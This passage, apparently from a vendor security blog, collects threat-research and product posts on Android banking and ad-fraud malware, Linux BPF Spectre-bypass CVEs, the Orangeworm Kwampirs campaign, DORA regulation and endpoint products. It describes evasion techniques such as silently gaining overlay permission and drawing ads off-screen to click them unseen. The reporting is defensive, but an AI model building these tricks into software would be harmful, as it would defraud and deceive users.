For Android 6 and Android 7, the permission is granted without prompting the user if the permission is declared in the manifest and the app originates in Google Play. However, this automatic grant is also grandfathered if the target version is set below Android 6. The malware targets Android 5 to gain this permission silently.
Starting in Android 8, overlaying a system window from an app is not allowed, and so the malware can’t carry out its deception.
In addition to tricking users into conversations with scammers, this malicious app sends call events to the C&C server. It also has a number of layouts customized to popular phone layouts in Korea.
Figure 3. Handset-specific layouts
Mitigation
Symantec recommends users follow these best practices to stay protected from mobile threats:
Keep your software up to date
Refrain from downloading apps from unfamiliar sites and only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton, to protect your device and data
Make frequent backups of important data
Protection
Symantec and Norton products detect this malware as Android.Fakebank.
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Newly-Discovered Vulnerabilities Could Allow for Bypass of Spectre Mitigations in Linux
Bugs could allow a malicious user to access data belonging to other users.
Two new vulnerabilities have been patched in the Linux kernel which, if exploited, could bypass existing mitigations for the Spectre vulnerabilities. The vulnerabilities were discovered by Piotr Krysiuk, a researcher on Symantec’s Threat Hunter team, who reported them to the Linux kernel security team. If left unpatched, the vulnerabilities mean that existing Spectre protections will not be sufficient to prevent some exploitation techniques.
The vulnerabilities in question are:
CVE-2020-27170 – Can reveal contents from the entire memory of an affected computer
CVE-2020-27171 – Can reveal contents from 4 GB range of kernel memory
These bugs affect all Linux machines, but would be particularly impactful on shared resources, as it would allow one malicious user to access data belonging to other users.
The patches for these bugs were first published on March 17, 2021, and are included with the Linux kernels released on March 20.
What are Meltdown and Spectre?
Meltdown and Spectre were two chip vulnerabilities discovered in January 2018 that affected nearly all modern processors and could only be mitigated through operating system patches. A successful exploit of the vulnerabilities could allow attackers to gain unauthorized access to a computer’s memory, including sensitive information, such as passwords. However, the vulnerabilities were only exploitable if the attacker already had access to the machines – if they were a local user or had gained access with an additional step, such as deploying a remote access Trojan (RAT) on the machine.
Spectre exploited flaws in processor designs to reveal contents of memory that should not be normally accessible. It works by observing side effects left by speculative execution, such as when a processor incorrectly predicts results of bounds checks. Variants of Spectre affect virtually all modern processors, including chips from Intel, ARM, and AMD.
Meltdown exploited different flaws in processors in order to bypass memory isolation in the operating system. Operating systems are designed in a way to block one application from accessing memory being used by another. If memory isolation fails to work, a malicious application could steal information from memory being used by other applications or users.
Because they are chip vulnerabilities, any operating system patches were essentially mitigations designed to make it impossible for an attacker to exploit the vulnerabilities, rather than to address the underlying issue.
It is mitigations for Spectre that can be bypassed in Linux using the vulnerabilities outlined in this blog.
How do these new vulnerabilities work?
Both vulnerabilities are related to the Linux kernel support for "extended Berkeley Packet Filters" (BPF). BPF allows users to execute user-provided programs directly in the Linux kernel. When loading these programs, the Linux kernel analyzes the program code to ensure they are safe. However, part of this analysis, intended to mitigate Spectre, was not sufficient to protect against some exploitation techniques.
Piotr was able to demonstrate two different methods to bypass this protection. These methods are independent as they abuse different issues, and each allows unprivileged local users to extract the contents of the kernel memory. This may include any secrets – passwords, clipboard contents, etc. - from other users on an affected system.
The most serious issue is CVE-2020-27170, which can be abused to reveal content from any location within the kernel memory, all of the machine’s RAM, in other words. Unprivileged BPF programs running on affected systems could bypass the Spectre mitigations and execute speculatively out-of-bounds loads with no restrictions. This could then be abused to reveal contents of the memory via side-channels. The identified security gap was that unprivileged BPF programs were allowed to perform pointer arithmetic on particular pointer types, where the ptr_limit was not defined. The Linux kernel did not include any protection against out-of-bounds speculation when performing pointer arithmetic on such pointer types.
The second reported issue, CVE-2020-27171, can reveal content from a 4 GB range of kernel memory around some of the structures that are protected. This issue is caused by a numeric error in the Spectre mitigations when protecting pointer arithmetic against out-of-bounds speculations. Unprivileged BPF programs running on affected systems can exploit this error to execute speculatively out-of-bounds loads from a 4 GB range of kernel memory below the protected structure. Like CVE-2020-27170, this can also be abused to reveal contents of kernel memory via side-channels.
A detailed technical description of these issues can be found in the following announcements:
CVE-2020-27170
CVE-2020-27171
How could these vulnerabilities be exploited?
The most likely scenario where these vulnerabilities could be exploited is in a situation where multiple users have access to a single affected computer – as could be the case in workplace situations etc. In this scenario, any of the unprivileged users could abuse one of the identified vulnerabilities to extract contents of the kernel memory to locate secrets from other users.
The bugs could also potentially be exploited if a malicious actor was able to gain access to an exploitable machine via a prior step – such as downloading malware onto the machine to achieve remote access – this could then allow them to exploit these vulnerabilities to gain access to all user profiles on the machine.
Mitigation
The patches for these bugs were first published on March 17, 2021 and are included in the following Linux kernel releases:
Stable 5.11.8 (released March 20, 2021)
Longterm 5.10.25 (released March 20, 2021)
Longterm 5.4.107 (released March 20, 2021)
Longterm 4.19.182 (released March 20, 2021)
Longterm 4.14.227 (released March 24, 2021)
The following Linux distributions have deployed fixes for the vulnerabilities outlined. Find more information at the links below:
Debian
https://salsa.debian.org/kernel-team/linux/-/commit/6f9d6c3b36aa0eaebcc6a4d9867002fbe7f3385f
https://salsa.debian.org/kernel-team/linux/-/commit/32ecff90fdb4be6326facc957e15ab7a6b673642
Version 10.9 (released on March 27, 2021)
https://salsa.debian.org/kernel-team/linux/-/commit/86d793b5ca9d2a7cf0da165c3ce84d26ea9d383d
https://salsa.debian.org/kernel-team/linux/-/commit/1cb70f1dd40da6c3280b64c27804a065b39150f2
Ubuntu
https://ubuntu.com/security/notices/USN-4887-1
Red Hat
https://access.redhat.com/security/cve/cve-2020-27170
https://access.redhat.com/security/cve/cve-2020-27171
Bugzilla
bugzilla.redhat.com/CVE-2020-27170
bugzilla.redhat.com/CVE-2020-27171
All users of Linux distributions should check with their vendor to ensure patches have been applied for these vulnerabilities.
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New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia
Symantec has identified a new attack group dubbed Orangeworm deploying the Kwampirs backdoor in a targeted attack campaign against the healthcare sector and related industries.
Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia.
First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.
"Orangeworm installs the Kwampirs custom backdoor in large firms in the healthcare sector in the U.S., Europe & Asia. https://symc.ly/2K1oJjU"
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Sights set on healthcare
Based on the list of known victims, Orangeworm does not select its targets randomly or conduct opportunistic hacking. Rather, the group appears to choose its targets carefully and deliberately, conducting a good amount of planning before launching an attack.
Figure 1. Nearly 40 percent of Orangeworm’s victims operate within the healthcare industry
According to Symantec telemetry, almost 40 percent of Orangeworm’s confirmed victim organizations operate within the healthcare industry. The Kwampirs malware was found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. Additionally, Orangeworm was observed to have an interest in machines used to assist patients in completing consent forms for required procedures. The exact motives of the group are unclear.
Figure 2. The biggest number of Orangeworm’s victims are located in the U.S.
The biggest number of Orangeworm’s victims are located in the U.S., accounting for 17 percent of the infection rate by region. While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec telemetry, we have seen infections in multiple countries due to the nature of the victims operating large international corporations.
The biggest number of Orangeworm’s victims are located in the U.S., accounting for 17 percent of the infection rate by region.
Healthcare providers caught in the crosshairs
We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare. Orangeworm’s secondary targets include Manufacturing, Information Technology, Agriculture, and Logistics. While these industries may appear to be unrelated, we found them to have multiple links to healthcare, such as large manufacturers that produce medical imaging devices sold directly into healthcare firms, IT organizations that provide support services to medical clinics, and logistical organizations that deliver healthcare products.
Post-compromise activities
Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer.
When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.
To ensure persistence, Kwampirs creates a service with the following configuration to ensure that the main payload is loaded into memory upon system reboot:
The backdoor also collects some rudimentary information about the compromised computer including some basic network adapter information, system version information, and language settings.
Orangeworm likely uses this information to determine whether the system is used by a researcher or if the victim is a high-value target. Once Orangeworm determines that a potential victim is of interest, it proceeds to aggressively copy the backdoor across open network shares to infect other computers.
It may copy itself to the following hidden file shares:
ADMIN$
C$WINDOWS
D$WINDOWS
E$WINDOWS
Information gathering
At this point, the attackers proceed to gather as much additional information about the victim’s network as possible, including any information pertaining to recently accessed computers, network adapter information, available network shares, mapped drives, and files present on the compromised computer.
We have observed the attackers executing the following commands within victim environments:
No concern about being discovered
Kwampirs uses a fairly aggressive means to propagate itself once inside a victim's network by copying itself over network shares. While this method is considered somewhat old, it may still be viable for environments that run older operating systems such as Windows XP. This method has likely proved effective within the healthcare industry, which may run legacy systems on older platforms designed for the medical community. Older systems like Windows XP are much more likely to be prevalent within this industry.
Additionally, once infected, the malware cycles through a large list of command and control (C&C) servers embedded within the malware. It appears while the list is extensive, not all of the C&Cs are active and continue to beacon until a successful connection is established. Despite modifying a small part of itself while copying itself across the network as a means to evade detection, the operators have made no effort to change the C&C communication protocol since its first inception.
Both of these methods are considered particularly “noisy” and may indicate that Orangeworm is not overly concerned with being discovered. The fact that little has changed with the internals of Kwampirs since its first discovery may also indicate that previous mitigation methods against the malware have been unsuccessful, and that the attackers have been able to reach their intended targets despite defenders being aware of their presence within their network.
Kwampirs uses a fairly aggressive means to propagate itself once inside a victim's network by copying itself over network shares.
No hallmarks of a nation-state actor
While Orangeworm is known to have been active for at least several years, we do not believe that the group bears any hallmarks of a state-sponsored actor—it is likely the work of an individual or a small group of individuals. There are currently no technical or operational indicators to ascertain the origin of the group.
Protection
Symantec customers are protected against Orangeworm and Symantec has also made efforts to notify identified targets of its operations.
Customers with Intelligence Services or WebFilter-enabled products are protected against activity associated with the Orangeworm group. These products include:
Web Security Service (WSS)
ProxySG
Advanced Secure Gateway (ASG)
Security Analytics
Content Analysis
Malware Analysis
SSL Visibility
PacketShaper
Symantec has the following specific detections in place for tools used by Orangeworm:
Anti-virus (AV):
Trojan.Kwampirs
Intrusion prevention system (IPS):
System Infected: Trojan.Kwampirs Activity
System Infected: Trojan.Kwampirs Activity 2
System Infected: Trojan.Kwampirs Activity 4
Indicators of Compromise
File Attachments
Indicators of Compromise for OrangewormPDF556.65 KB
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New Regulatory Requirements Will Help Shape Cyber Security for Finance
Broadcom Software can help you navigate the new landscape
When it comes to avoiding ransomware attacks, no sector remains safe anymore – and particularly, the financial services sector, a favorite target for cyber criminals.
Indeed, financial institutions were disproportionately affected by ransomware in 2021, and the early indications for the new year point to more of the same for 2022.
Policy makers around the world have been recognizing this heightened risk which has been further amplified by the recent geopolitical tensions. The European Union (EU) has pulled together a proposal for a unified framework to regulate risk management for financial institutions. Known as the Digital Operational Resilience Act (DORA), this marks a significant milestone for the 27 member states in the Union. The proposal that is in an advanced stage of negotiation brings a common approach to cyber security and governance for financial service providers and their information and communication technology (ICT) supply chain across all the countries in the European Union (EU).
DORA’s Impact
DORA, which is expected to be adopted soon, directly impacts most providers of financial services, including banks, insurance companies, brokerage firms, crypto-currency exchanges, and related fintech businesses. Those institutions will be required to comply with DORA’s standards governing contractual terms, supply chain management, governance minimum levels of business resilience and cyber security once it enters into force. Failing that, they face substantial financial and other penalties
Perhaps the easiest way to understand the impact that DORA is going to have on global financial businesses and their supply chain is to consider the impact the EU’s standard for data privacy and data governance, the General Data Protection Regulation, had.
The GDPR similarly replaced a variety of laws passed by the individual nations of the EU with a single regulatory standard with real enforcement teeth for non-compliance. The GDPR made it quite onerous and increasingly risky to be out of compliance.
DORA is expected to have a similar impact on how large financial institutions do business, regulating different aspects of their processes through a single instrument and providing incentives to improve their business resilience. The proposed law’s regulatory reach will extend to supply chain vendors and subcontractors deemed “critical,” which could include everything from small-to-medium sized businesses to large-scale cloud infrastructure service providers.
DORA will create a uniform set of requirements for the supply chain that will range from incident notification all the way to contractual terms, customer exit strategies and KPI monitoring. Given the size and importance of the EU financial markets it is likely that we will see these requirements adopted by financial institutions and regulators around the world making DORA a standard that has defacto a much broader reach than just Europe.
How regulatory requirements interact
DORA’s regimen of rules on cyber security is well aligned to a set of advisory recommendations, the Cyber Security Framework (CSF), published by the USA’s National Institute of Standards and Technology. But while CSF guidelines are purely advisory, DORA will mandate compliance and require organizations to demonstrate that certain conditions are being met by empowering financial services to audit their supply chain and regulators to oversee both the financial institutions and certain services providers that will be designated to be critical.
The current European Banking Authority Guidelines (EBAG), a predecessor to DORA, already gives finance regulators some of this oversight in the form of guidance. DORA takes things further with additional components that EBAG does not have. And while EBAG is regulatory guidance that one can diverge from at its own risk, DORA will have the force of the law: failure to meet its requirements will exact real penalties
Once adopted the DORA mandates will create additional obligations for financial institutions and other enterprises to accelerate upgrades to their cyber security capabilities as they’ll need to provide demonstrable evidence of threat penetration testing, cyber security incident detection and response, disaster readiness, and performance measurement.
DORA will create a uniform set of requirements for the supply chain that will range from incident notification all the way to contractual terms, customer exit strategies and KPI monitoring.
In Europe, you sometimes hear complaints about GDPR. But I know that if there’s a data breach, there will be a common basic understanding of the actions that need to be taken and the notifications that need to happen in a given timeline usually up to 72 hours when it comes to the privacy regulator. This is the result of the GDPR being one, common, data breach standard. If there’s a data breach somewhere in the US, it is possible that multiple breach standards apply resulting to different notification requirements. When having to manage corporate risk simplicity is key. Often a single, clear regulatory standard applicable across the business in multiple jurisdictions makes it easier to marshal resources, focus teams, drive efficiencies and get executive attention.
Despite some points of contention, the EU is moving forward with creating a regulatory blueprint on cyber security by addressing critical infrastructure, financial services, IoT, standardization, privacy and cyber crime. It is an effort to address certain challenges but also a way to export a governance model.
Cyber security threats are real. The recent pandemic experiences and current geopolitical challenges demonstrate how dependent we have become on technology. We should not be surprised this attracts more regulatory attention for both sides of the Atlantic. After all, if something is valuable it is going to be regulated.
Contact us here to learn more about how Broadcom Software can modernize, optimize and protect your business.
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New Security Enhancements for Symantec Endpoint Protection
Symantec Endpoint customers get enhanced security and operating system support
The world of security continues to change, sometimes faster than you want. People now work from anywhere, not just from their corporate headquarters. And BYOD has added billions of devices into the enterprise ecosystem. That is why Symantec, as a division of Broadcom, continues to be your vendor of choice on this journey with our Endpoint Security solutions. Symantec Endpoint Security, a SaaS application, delivers the most complete, integrated endpoint security platform on the planet. As an on-premises, hybrid, or cloud-based solution, the single-agent Symantec platform protects all your traditional and mobile endpoint devices, and uses artificial intelligence (AI) to optimize security decisions. A unified cloud-based management system simplifies protecting, detecting and responding to all the advanced threats targeting your endpoints.
We spoke recently with Alpesh Mote, Product Management Lead for Endpoint Security about the latest Symantec Endpoint Security release (14.3 RU1) that supports our flagship Symantec Endpoint Security products. Here are some of the highlights from our conversation:
Q: Let’s start by talking about the security gains in the new Symantec Endpoint Protection 14.3 RU1 release; namely living off the land protections and blocking untrusted, non-portable executable files. How do these security innovations help our customers?
A: Adversaries have been using non-Portable Executable (PE) files like office documents and PDFs embedded with either malicious links or actual malicious active content as delivery vehicles to launch targeted attacks. Security Admins would have to find and delete every copy of these files or ask end users to not open the document; neither of these is a reliable or scalable solution. 14.3 RU1 offers a reliable and easy-to-use method in which administrators can now proactively block malicious non-PE files using hash, size and other parameters.
Additionally over the past few years, Symantec has observed a shift in the threat landscape towards targeted attacks utilizing increasingly sophisticated techniques. These include a wide range of living-off-the-land tactics with attackers taking advantage of native applications, tools and services already present on targeted systems. This allows the attackers to achieve their goals without needing to create and deploy their own binary files on disk— operating fileless, so to speak—or to blend in with the daily work of a system administrator who uses the same dual-use tools. Symantec Endpoint Protection (SEP) has several new features that enable better protection and prevention of targeted attacks that utilize living-off-the-land techniques including ransomware and supply chain threats. With SEP 14.3 RU1, we have enhanced our parsing technology to prevent threats utilizing Office files such as Excel to deliver their attack and improved heuristic capabilities for common file types used in living-off-the-land attacks (e.g. .LNK, .MSI, .PDF, .SCT, task scheduler XML). We have also enhanced our behavior detections for ransomware such as Ryuk and Egregor and optimized scoring heuristic protection for the packed malware (.NET, VB and Delphi packer)
Symantec Endpoint Security, a SaaS application, delivers the most complete, integrated endpoint security platform on the planet.
Q: I see that Symantec made significant enhancements across a number of operating systems. Let’s start with the macOS agent. What new elements do customers enjoy with this release?
A: In a recent article posted by ComputerWorld, IDC confirmed that Mac's market growth has reached a 23% share in US enterprises. What used to be a niche capability to offer protection for Mac is now becoming mainstream. Unmanaged, unprotected Macs pose significant risk to enterprises. That is why with SEP 14.3 RU1 there are significant improvements to our Mac agent. This agent provides support for the latest Apple Big Sur release. It also enhances the protection capabilities by offering behavioral analysis, which analyzes good and bad behaviors to prevent new and unknown threats. It includes a new Intrusion Prevention engine for blocking network-based vulnerabilities and malware/threats. The latest agent enables SOC analysts to gain improved visibility into advanced threats. You can check out more information about protection for macOS on our blog; Symantec Endpoint Security on MacOS
Q: And what about the Linux agent? What can Symantec customers expect to see with RU1?
A: Protecting Linux assets is critical to our customers. Most customers will use Linux on servers and we want to make sure we have the best security available for our customers to help protect these crown jewels in their environment. With SEP 14.3 RU1, we have made significant changes to the Linux agent. The new Linux agent is a single agent that can be deployed and managed from either the on-premises Symantec Endpoint Protection Manager or the Integrated Cyber Defense Manager cloud console. The new agent brings in the Symantec Endpoint Foundation similar to the Windows and Mac agent offering advanced protection technologies like Machine Learning and emulator. This release also makes it easy for administrators to deploy and maintain the agent by supporting deployment using RPM and DEB packages on Linux. It also offers improved support for newer Linux kernels by regular updates to the kmod packages.
The new Linux agent is a single agent that can be deployed and managed from either the on-premises Symantec Endpoint Protection Manager or the Integrated Cyber Defense Manager cloud console.
Q: Symantec is also offering protection for endpoint and users from web-based attacks, please tell us more about that.
A: As you already know, many users in an enterprise receive phishing emails or phishing URLs every day. Phishing & malicious distribution URLs are used by adversaries to distribute malware with the goal to obtain passwords and user/other account information. A simple click on a phishing email link can kick off a ransomware attack. The newly integrated Web based threats protection and Intrusion Prevention policy helps protect against Phishing URLs, Botnet CnC URLs, and Malware distribution URLs.
The unique thing about this capability is that it brings together our 2 most powerful protection capabilities Intrusion Prevention and our WebPulse global URL intelligence information that are second to none in the industry. Symantec’s Intrusion Prevention System (IPS) is one of the crown jewels in the endpoint protection stack and it is our first line of defense. Nearly every attack arrives via the network – IPS provides early protection in the Incursion Phase by blocking attacks even before it lands on the machine. Bringing the 2 technologies together helps bolster our network protection capabilities to provide protection against unknown and known threats, exploits, and CnC traffic by leveraging the URL reputation information.
Q: Can you talk more about Web and Cloud Access Protection (Network Traffic Redirection) integration with SEP 14.3 RU1?
A: Web and Cloud Access Protection (NTR) in SEP 14.3 RU1 forwards internet traffic to Symantec Web Security Services (WSS) for policy based handling. This protects endpoints and users from web-based attacks on malicious sites, as well as blocking access to categories of sites that are contrary to corporate policy.
Q: How Does Web and Cloud Access Protection Work?
A: The Symantec agent on endpoint uses the PAC file or integration token from Symantec Web Security Service (WSS) portal. Based on the policy settings, all traffic from the endpoint is either redirects it to the WSS server for analysis, blocked or allowed it to continue to its destination
The beauty of this integration is that all this capability is delivered via a Single Agent, the same Symantec agent that is running on endpoint. Administrators do not have to deploy and manage additional agents which can be expensive to maintain.
I have one last thing to call out here, the SEP 14.3 RU1 agent can run with Windows Defender in coexistence mode which allows us to execute advanced detection stack alongside Microsoft basic AV.
The most dangerous and damaging threat is the one you don’t see coming. As targeted attacks increase in sophistication and volume, enterprises need to reduce the overall number of incidents analysts have to investigate and ensure that responders are focused on the highest priority incidents. SEP 14.3 RU1 agent is an important part of that solution for Enterprise customers.
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New Smarts Also Means New Vulnerabilities for Connected Buildings
With building infrastructure automation, experts are starting to take cyber security seriously and say the average smart building remains open to network attacks
Finland is one of four European countries leading the push to incorporate smart technologies into building infrastructure. By adding automation, internet-connected devices, and new management capabilities, such smart buildings can significantly save management costs and add potential revenue streams.
Yet, like the rollout of any new technology, the deployments are not without drawbacks.
In early winter 2016, a denial-of-service attack on a building management company caused the systems that controlled heating for two buildings to repeatedly reboot. The cycle of restarts caused the heating system to stop working. The attacks—apparently instigated only because the systems were vulnerable—were not isolated, with similar packet floods shutting down heating in other buildings in the country.
The incidents highlight the lack of cyber security for building-automation systems and the problems that such vulnerabilities can cause. City and building managers are adding the technology to make their jobs easier, but often without considering the security implications first, said Patrick Gardner, vice president of advanced threat protection at Symantec.
“Cyber is a new fundamental domain for those involved in physical infrastructure,” he said. “We don’t have a good understanding of the issues at an executive level.”
For building owners, the move to more-connected technology can save significant costs on operations and maintenance. Lighting system managed by machine learning and using sensors that can detect workers' presence can save companies up to 90 percent of their current lighting costs. Because buildings—both commercial and residential—account for about 40 percent of total U.S. energy consumption, smarter buildings could help significantly reduce national energy needs.
The problem is that while the economics favor making buildings smarter, the technology and infrastructure is not very mature security-wise.
Yet, a key component of the smarts in smart buildings is from the interconnectedness of the systems, making cyber security a primary concern. In particular, the systems that run critical building functions—known as operational technology or OT—have often been created without considering the ramifications of being connected to the internet.
"Since building automation emerged in the 1980s and development sped up in the 1990s, the reality is that buildings have always been the end case of what you would call the smart internet of things or the internet of everything," said Rawlson O'Neil King, communications director at the Continental Automated Buildings Association (CABA). "The building networks were specialized; those network technologies were specifically created for that application. When you have OT integrated with information technology, then you are opening it up to potentially the public internet and attacks."
The problem is that while the economics favor making buildings smarter, the technology and infrastructure is not very mature security-wise. In 2013, for example, an HVAC management company ended up being the pathway that hackers exploited to attack a retail store. Elsewhere, a 2014 video of Dubai's Burj Khalifa, the tallest building in the world, showed management terminals running Windows XP. Microsoft stopped supporting the operating system—at the time 12 years old—that year.
"As an industry, if someone is running Windows 95 right now, you would laugh them out of a room,” Symantec’s Gardner said. “If you have something like a car or a building, the lifespan of those systems is in multiple decades, so imagine a smart building was created 30 years ago and was running Windows 95—how can you upgrade that? We need to figure that out.”
Our (Increasingly) Connected Future
The problems continue to plague building management systems. In December 2018, the FBI reportedly told private sector firms that a port used to communicate with building control systems is regularly left open to attack.
In the future, buildings will only become more automated and more connected. Smart sensors are estimated to grow at a 79 percent annual rate until 2020, according to consulting firm Deloitte. Part of the allure of installing internet-of-things devices in buildings is the ability to collect data on tenants and visitors, but smart-building proponents also stress that adding technology and the ability to monitor tenant and consumers allows the development of additional sources of income beyond rental fees, such as direct marketing and add-on services.
Hotels will likely lead the smart building charge. Commercial buildings are typically renovated once every 25 or 30 years, but hotels are typically updated every decade, according to IHS Markit, a market intelligence firm.
The inexorable trend means that building management firms need to be more focused on cyber security. Unfortunately, many manufacturers of the systems have not learned enough of the risks and necessary defenses. In many ways, the companies making and deploying internet-of-things technology into buildings are making the same mistakes as information-technology providers in the early 2000s.
Many do not even have a proper security contact or policy in place to handle vulnerability reports. When security firms find a vulnerability, for example, they often have a hard time finding the proper channel to report the issue to a smart-building firm. And, when they do respond, it is often with hostility—similar to how many technology providers responded in the past to vulnerability researchers.
The result is that security researchers, penetration testers and attackers have all started focusing on the lack of security in these building systems, Symantec’s Gardner said.
Without a good vulnerability-disclosure policy in place, building owners and smart-building technology makers expose themselves to even greater risk.
“You do see penetration testers and red team focusing on this,” he said. “A big part of cyber security is physical security, and this is a flip side of that. Without a clear focus on cyber security, managers of these smart buildings are putting physical security at risk.”
Without a good vulnerability-disclosure policy in place, building owners and smart-building technology makers expose themselves to even greater risk. The attack on the building management systems was not for a payday, but because the system exposed a vulnerability. The risk that hackers and security researchers expose vulnerabilities in a smart-building technology only grows greater, if there is no easy way to report the issues, according to the Cybersmart Buildings report by consultancy Booz Allen Hamilton and industrial control maker Johnson Controls.
While CABA and other organizations urge building management firms and systems makers to focus on cyber security, the industry is not ready for standards, said CABA's King.
"There is a lot of innovation going on—that is one of the issues for us," he said. "We don't pick winners and losers, but the challenge is that when you have innovation, you don't necessarily have a focus on cyber security."
Several different groups are developing best practices for protecting smart buildings against cyber threats. Creating a culture focused on recognizing cyber security as a major issue is a start, said King.
"What is emerging is the idea of best practices, not just having cyber security as a secondary goal," he said. "The idea should be that we want to have continuous cycles for security—always trying to improve the product and constantly addressing threats."
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New Stealthy Ad Clicking Tactics Found in Popular Apps on Google Play
Two apps with over 1.5 million downloads use new method to stealthily click ads on users’ devices. Apps present on Play Store for almost a year before being discovered.
We recently spotted a new tactic being used by apps on the Google Play Store to stealthily perform ad-clicking on users’ devices. A developer known as Idea Master has published two popular apps on the Play Store in the past year, with a collective download count of approximately 1.5 million. Symantec has informed Google of the observed behavior and the apps have now been removed from the Play Store.
The two apps, a notepad app (Idea Note: OCR Text Scanner, GTD, Color Notes) and a fitness app (Beauty Fitness: daily workout, best HIIT coach), are packed using legitimate packers originally developed to protect the intellectual property of Android applications. Android packers can change the entire structure and flow of an Android Package Kit (APK) file, which complicates things for security researchers who want to decipher the APK’s behavior. This also explains the developer’s ability to remain on the Play Store performing malicious acts under the radar for nearly a year before being detected.
Figure 1. Idea Master's apps display semi-automated ad-clicking behavior
The attack starts with a notification in the notification drawer on the user’s device.
Figure 2. The attack begins in the notification system in Android
Upon clicking on the notification, Toast is used to display a hidden view containing advertisements (Toast messages are commonly used to display unobtrusive notifications that appear on the current activity UI screen, such as when the volume is adjusted).
Figure 3. A Toast is used to display the advertisements
Unlike hidden views where the view is set to transparent in order to hide content from the user, this threat actor deploys a much more cunning way of running the advertisements while keeping them hidden from the user. This is done by first creating a Canvas outside the device’s viewable display such that, technically, the advertisements are drawn on the device. By using the translate() and dispatchDraw() methods (see Figure 4) the position of the drawings are beyond the device’s viewable screen area and the user is unable to see the advertisements on their device. Using this tactic allows advertisements, and any other potentially malicious content, to be displayed freely. The app can then initiate an automated ad-clicking process that produces ad revenue.
Figure 4. Advertisements are drawn on a Canvas situated outside of the device’s visible display
Figure 5. While the advertisements are displayed, automated ad-clicking is performed
As threat actors generate ghost clicks and ad revenue, impacted devices will suffer from drained batteries, slowed performance, and a potential increase in mobile data usage due to frequent visits to advertisement websites.
These apps went unnoticed on the Google Play Store for nearly a year, affecting roughly 1.5 million users before we uncovered their sneaky behavior. The apps’ use of Android packers and the unusual method of hiding advertisements adds a level of complexity for security researchers.
A special thank you to Tommy Dong for his dedicated contribution in analyzing this sample.
Protection
Symantec and Norton products detect these apps as the following:
Android.MalApp
Mitigation
Since the applications are still available on Google Play, we strongly encourage users to manually uninstall them from their devices. Additionally, we advise users to take the following precautions:
Keep your software up to date.
Do not download apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by apps.
Install a suitable mobile security app, such as Norton or Symantec Endpoint Protection Mobile, to protect your device and data.
Make frequent backups of important data.
Indicators of compromise
File SHA2 APK Package
42d6b813acfe5bf298dd25f9ead2c7d092363608bbcf2fea5a62b8a124c48b27 note.idea.notepad.pro
429bcadbf1ece2eebbbc53ab0d3a9530c55d61dab0bbe483f4204bcb62f6b378 note.idea.notepad.pro
4372a8f10a46af39375c8f4e93f3f4ae0158ce9361255119f93f7bc0048f0454 note.idea.notepad.pro
5aa2604926e214a4292fde0ddb278697a81aad183f18428afaae8402289981a6 note.idea.notepad.pro
21aee1cb26e4b8b62b5ab9e48882f091fc5035f394051c25ee147fcc60f2cca0 note.idea.notepad.pro
b424b73758261d57b9556c33924167de0d9bf1ff8db7f245c526ff9b08a5908e note.idea.notepad.pro
eb46b899ea161bde8d9eefa358f9ee15aef79d2ebe80c45aa83e1827075f804c note.idea.notepad.pro
ce8041b4ae0cb3b6a89cca0d4ab46ee4a3704f9092faf9d50fdfc8c0fb753cf7 com.fitness.leap.workout
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New Symantec Protection Engine 8.2 Enhancements
Symantec Enterprise Customers get Enhanced Security, Manageability and Protection
Symantec, a division of Broadcom (NASDAQ: AVGO), is rolling out new storage threat detection help for enterprise customers – and not a moment too soon.
That’s because the explosion of cloud services and related storage attracted the attention of threat actors looking to pounce on vulnerabilities as businesses move their data beyond their four walls. At the same time, key business information, tools, and utilities residing on storage devices also need malware protection, even if they are backed up or archived.
With the latest version of Symantec Protection Engine (SPE), for Network Attached Storage (NAS) and for Cloud Services, Symantec is unveiling significant enhancements to the arsenal of high-performance threat detection services that enterprise customers now are able to deploy.
We spoke recently with Brian Sheedy, Product Manager for Symantec Protection Engine, Operational Technology and Endpoint Management products. Brian shared more about SPE 8.2, both for Network Attached Storage and for Cloud Services, and about the launch announcement and what it means for enterprise security as well as for overworked – and sometimes frazzled – security administrators.
Symantec, a division of Broadcom (NASDAQ: AVGO), is rolling out new storage threat detection help for enterprise customers – and not a moment too soon.
Q: Let’s start by talking about the integration between the new release of SPE and the Symantec STARGate Security Service stack. What does this do for customers?
A: It’s going to make SPE even more efficient. STARGate is a threat detection platform based on machine learning, cloud knowledge, and deep content inspection. Also, STAR’s management capability components are self-updateable – so customers will have the latest Symantec offerings without the need for a SPE version update.
Q: There’s been a lot of attention devoted to STARGate. What’s the importance?
A: STARGate is a big thing. It comes out of the division responsible for the development of our security technologies, the Security Technology and Response (STAR) team. Think back a few years ago when traditional antivirus technologies were all that was needed to protect an endpoint from attack. There’s been a dramatic shift in the threat landscape since then to the point where enterprises can’t get by any longer with antivirus-based technologies alone. So STAR took on that challenge and developed a collaborative ecosystem of security technologies to protect Symantec’s users from malicious attacks. So, this is one of the fruits of that work. We wanted to make our storage protection products stronger and the integration of the latest Symantec security technologies into the SPE 8.2 release does just that.
Q: The active content filtering feature in SPE 8.2 offers customers a new way to filter out malicious code. How so?
A: We call it our DISARM feature and yes, it filters active content from documents and lets customers delete all content based on specific content types. As you may be aware, active content contains programs that can execute automatically without a user’s knowledge. That’s one method attackers deploy in order to execute their malicious code.
Once you enable the feature, DISARM detects and then removes any active content, such as scripts and attachments, from the file. It also shoots off an alert message to all logging destinations. So, when the client finally receives the file in question, that person can be sure it will be free of any unexpected or malicious content.
We wanted to make our storage protection products stronger and the integration of the latest Symantec security technologies into the SPE 8.2 release does just that.
Q: SPE also decouples the notion of monitoring from that of blocking through high-intensity detection (HID). How does that help administrators day-to-day?
